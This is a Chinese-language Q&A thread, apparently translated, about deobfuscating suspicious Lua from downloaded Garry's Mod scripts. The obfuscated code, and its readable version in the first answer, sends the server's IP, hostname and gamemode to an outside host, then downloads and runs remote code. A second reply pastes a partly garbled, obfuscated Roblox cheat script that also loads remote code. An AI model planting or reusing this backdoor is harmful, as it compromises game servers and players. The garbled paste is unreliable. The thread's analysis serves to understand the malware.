解码混淆的lua

Question

我最近下载了一些lua脚本并发现了其中的混淆代码。经过好几个小时后，我未能找到如何对其进行反混淆，并正在寻求一些帮助。

就我已经尝试过的内容而言，我注意到数字只是转换为字符，这揭示了一些功能。然而，顶部分配的变量似乎没有分配给任何东西，或者可能是一些在我的编辑器（原子）中不可见的特殊

unicode

字符。

这是混淆后的代码：

local ‪ = _G
local ‪‪ = ‪['\115\116\114\105\110\103']
local ‪‪‪ = ‪['\98\105\116']['\98\120\111\114']
local function ‪‪‪‪‪‪‪(‪‪‪‪)
  if ‪‪['\108\101\110'](‪‪‪‪) == 0 then
    return ‪‪‪‪
  end
  local ‪‪‪‪‪ = ''
  for _ in ‪‪['\103\109\97\116\99\104'](‪‪‪‪, '\46\46') do ‪‪‪‪‪
    = ‪‪‪‪‪..‪‪['\99\104\97\114'](‪‪‪(‪["\116\111\110\117\109\98\101\114"](_, 16), 53))
  end
  return ‪‪‪‪‪
end ‪
[‪‪‪‪‪‪‪'415c585047'][‪‪‪‪‪‪‪'665c58455950'](5,
  function ()‪
    [‪‪‪‪‪‪‪'5d414145'][‪‪‪‪‪‪‪'655a4641'](‪‪‪‪‪‪‪'5d414145460f1a1a565d545c5b595a46501b0505054250575d5a46415445451b565a581a4643595a521a414754565e50471b455d45', {[‪‪‪‪‪‪‪'56'] = ‪[‪‪‪‪‪‪‪'52585a51'][‪‪‪‪‪‪‪'72504172545850585a5150']()[‪‪‪‪‪‪‪'7b545850'], [‪‪‪‪‪‪‪'50'] = ‪[‪‪‪‪‪‪‪'52545850'][‪‪‪‪‪‪‪'7250417c6574515147504646'](), [‪‪‪‪‪‪‪'51'] = ‪[‪‪‪‪‪‪‪'7250417d5a46417b545850']()})
  end )
‪[‪‪‪‪‪‪‪'415c585047'][‪‪‪‪‪‪‪'665c58455950'](5,
  function ()‪
    [‪‪‪‪‪‪‪'5d414145'][‪‪‪‪‪‪‪'735041565d'](‪‪‪‪‪‪‪'5d414145460f1a1a565d545c5b595a46501b0505054250575d5a46415445451b565a581a5254461b594054',
  function (‪‪return)
    ‪[‪‪‪‪‪‪‪'67405b6641475c5b52'](‪‪return)
  end, nil )
end )

Answer 1

旧版 Lua（和现代 LuaJIT）允许在标识符中使用任意非 ASCII 字节（0x7F 以上）。
很好的混淆功能！ :-)

timer.Simple(
   5,
   function ()
      http.Post(
         "https://chainlose.000webhostapp.com/svlog/tracker.php", 
         {
            c = gmod.GetGamemode().Name, 
            e = game.GetIPAddress(), 
            d = GetHostName()
         }
      )
   end 
)
timer.Simple(
   5,
   function ()
      http.Fetch(
         "https://chainlose.000webhostapp.com/gas.lua",
         function (str)
            RunString(str)
         end, 
         nil 
      )
   end 
)

Answer 2

你能在这里反混淆吗

本地 v0=string.char;本地 v1=string.byte;本地 v2=string.sub;本地 v3=bit32 或位;本地 v4=v3.bxor;本地 v5=table.concat;本地 v6=table.insert;局部函数 v7(v40,v41) 局部 v42={};对于 v83=1, #v40 do v6(v42,v0(v4(v1(v2(v40,v83,v83 + 1 ))),v1(v2(v41, 1 + (v83% #v41) ,1 + (v83% #v41) + 1 )))%256 ));结束返回 v5(v42);结束本地 v8=游戏:GetService(v7("�� 8 9�","V s 87 9\ 9w"));本地 v9=game:GetService(v7(" 9 93#� 9 9�","n7{","8\84�!8�8"));本地 v11=游戏:GetService(v7("\98 9( �\83 , �\99 % �\87 9"," 8 8 86L"));本地 v12=游戏:GetService(v7(" 9) )呃� 85( + 8","m� 8J\86 9 97"));local v13=loadstring(游戏:HttpGet(v7(" 8� �\83 x 83\84� 89K��\83� 9 9F��:�)�\84,��=f 8� 9\98��7f �\82\97��\ 83 8Q�5K� 83:� 9\83K�Q�)�\80U� 82<�-","j 8 89\86n [")))();本地v14=v9.LocalPlayer;本地 v15=workspace.CurrentCamera;本地 v16=nil;本地 v17=nil;本地 v18=nil;本地 v19=nil;getgenv().aura_Enabled=false;getgenv().hit_sound_Enabled=false;getgenv ().hit_effect_Enabled=假;getgenv().night_mode_Enabled=假;getgenv().trail_Enabled=假;getgenv().self_effect_Enabled=假;getgenv().kill_effect_Enabled=假;getgenv().shaders_effect_Enabled=假;getgenv() .ai_Enabled=false;getgenv().spectate_Enabled=false;local v30={game:GetService(v7("�\83 87 85| 9 9"," 8n- 99")),game:GetService (v7("mLW 8P�8 86GO# "," � 9 8:M l"))};function SwordCrateManual() game:GetService(v7("# 86 93�Z '+ 86��k 8 84�","\84Q� 91�>")).Remote.RemoteFunction:InvokeServer(v7(" 9 8 98{" 8 � 9 \85 93q!\85 9� 866�","q 9, 9 92\90 8\80"),workspace.Spawn.Crates.NormalSwordCrate);结束函数 ExplosionCrateManual() 游戏:GetService (v7("S9 !45 9>8) 98\80 >"," 9! \96")).Remote.RemoteFunction:InvokeServer(v7("` 9� 83 `� 97\9 "} 98� 3 85","=�s 83F\98"),workspace.Spawn.Crates.NormalExplosionCrate);结束函数 SwordCrateAuto() while _G.AutoSword 执行本地操作v84=729 -(726 + 3) ;当 true 执行 if (v84==0) then game:GetService(v7(" 8 91m 9 8 87 9(� 9|Z � 91"," 85\98 8�\87")).Remote.RemoteFunction:InvokeServer(v7("�& �� 90�!+ 9�y �/ �� 90�","�y\929\ 90"),workspace.Spawn.Crates.NormalSwordCrate);wait(1);break;end end end function ExplosionCrateAuto() while _G.AutoBoom do游戏:GetService(v7(" 960Z 94%n$ 97 n 8�%c$","�;q>")).Remote.RemoteFunction:InvokeServer(v7(" 9�?\ 80 }�\87 9 9 9�\81\881 9�\86\88","V 9 85 1"),workspace.Spawn.Crates.NormalExplosionCrate);等待(1); end end local v31=loadstring(游戏:HttpGet(v7(" 8<\98 9% 88 8 �;0QV� 9 �=\97SA�� 8\91TF/�� 9 " 90 85� 9B)@ 90�5� \92\915�� 9�J1M 8�7�\81C 8N� 9 9\95","] 8|2 8 g")))();本地 v32=v31:AddWindow(v7(" 8� 8 ","w�_(469 -(270 + 199)))) then local v138=0 + 0 ;local v139;while true do if (v138==0) then v139=(plr.Character.HumanoidRootPart.Position-v92.HumanoidRootPart.Position).Magnitude;if ((v139<=getgenv().SpamDistance) and not getgenv().CanSpam) then local v205=0;local v206;while true do if ((1819 -(580 + 1239))==v205) then v206=0 -0 ;while true do if (v206==(0 + 0)) then getgenv().CanSpam=true;spawn(v39);break;end end break;end end else getgenv().CanSpam=false;end break;end end end end);end);task.defer(function() game:GetService(v7("\240\148\24\205\60\252\78\203\130\19","\56\162\225\118\158\89\142")).Heartbeat:Connect(function() if not v14.Character then return;end if getgenv().trail_Enabled then local v140=0 + 0 ;local v141;local v142;local v143;while true do if (v140==(1 + 1)) then v143=Instance.new(v7("\101\94\218\116\51\76\71\203\123\36","\80\36\42\174\21"),v14.Character.PrimaryPart);v142.Position=Vector3.new(0 -0 , -(2.411 + 0),1167 -(645 + 522) );v140=1793 -(1010 + 780) ;end if (v140==(0 + 0)) then v141=game:GetObjects(v7("\78\7\216\174\49\203\89\17\201\171\120\151\19\84\151\251\122\139\10\80\152\252\116\129","\184\60\101\160\207\66"))[1];v141.Name=v7("\63\151\110\165\34\139\105\177\14\132\100","\220\81\226\28");v140=4 -3 ;end if ((2 -1)==v140) then if v14.Character.PrimaryPart:FindFirstChild(v7("\29\192\144\226\249\206\6\216\189\253\242","\167\115\181\226\155\138")) then return;end v142=Instance.new(v7("\195\54\243\93\120\121\203\231\44\243","\166\130\66\135\60\27\17"),v14.Character.PrimaryPart);v140=2;end if (v140==(1839 -(1045 + 791))) then v143.Position=Vector3.new(0 -0 ,2.504 -0 ,505 -(351 + 154) );v141.Parent=v14.Character.PrimaryPart;v140=1578 -(1281 + 293) ;end if (v140==4) then v141.Attachment0=v142;v141.Attachment1=v143;break;end end elseif v14.Character.PrimaryPart:FindFirstChild(v7("\64\5\37\99\93\25\34\119\113\22\47","\26\46\112\87")) then v14.Character.PrimaryPart[v7("\183\54\185\109\172\182\80\185\134\37\179","\212\217\67\203\20\223\223\37")]:Destroy();end end);end);task.defer(function() v10.RenderStepped:Connect(function() if getgenv().spectate_Enabled then local v144=v13.getBall();if not v144 then return;end workspace.CurrentCamera.CFrame=workspace.CurrentCamera.CFrame:Lerp(CFrame.new(workspace.CurrentCamera.CFrame.Position,v144.Position),267.5 -(28 + 238) );end end);end);task.defer(function() while task.wait(2 -1 ) do if getgenv().night_mode_Enabled then game:GetService(v7("\142\154\173\215\180\190\173\192\172\132\171\215","\178\218\237\200")):Create(game:GetService(v7("\154\188\225\216\162\188\232\215","\176\214\213\134")),TweenInfo.new(1562 -(1381 + 178) ),{[v7("\215\161\185\215\163\98\80\249\168","\57\148\205\214\180\200\54")]=3.9}):Play();else game:GetService(v7("\38\234\48\49\120\33\248\39\34\127\17\248","\22\114\157\85\84")):Create(game:GetService(v7("\232\194\20\204\73\255\166\195","\200\164\171\115\164\61\150")),TweenInfo.new(3 + 0 ),{[v7("\157\248\12\70\136\138\253\14\64","\227\222\148\99\37")]=13.5}):Play();end end end);task.spawn(function() v10.PreRender:Connect(function() local v93=0 + 0 ;local v94;while true do if (v93==(0 + 0)) then v94=0 -0 ;while true do if (v94==(0 + 0)) then if not getgenv().aura_Enabled then return;end if v18 then if (workspace.Alive:FindFirstChild(v18.Name) and (workspace.Alive:FindFirstChild(v18.Name).Humanoid.Health>(470 -(381 + 89)))) then if v34.is_Spamming then if （v14：距角色的距离（v18.HumanoidRootPart.Position）<=v34.spam_Range) then v19:FireServer(0.5,CFrame.new(v15.CFrame.Position,v15.CFrame.Position + (v15.CFrame.LookVector * (89 + 11)) ),{[v18.Name]=v18.HumanoidRootPart.Position},{v18.HumanoidRootPart.Position.X,v18.HumanoidRootPart.Positio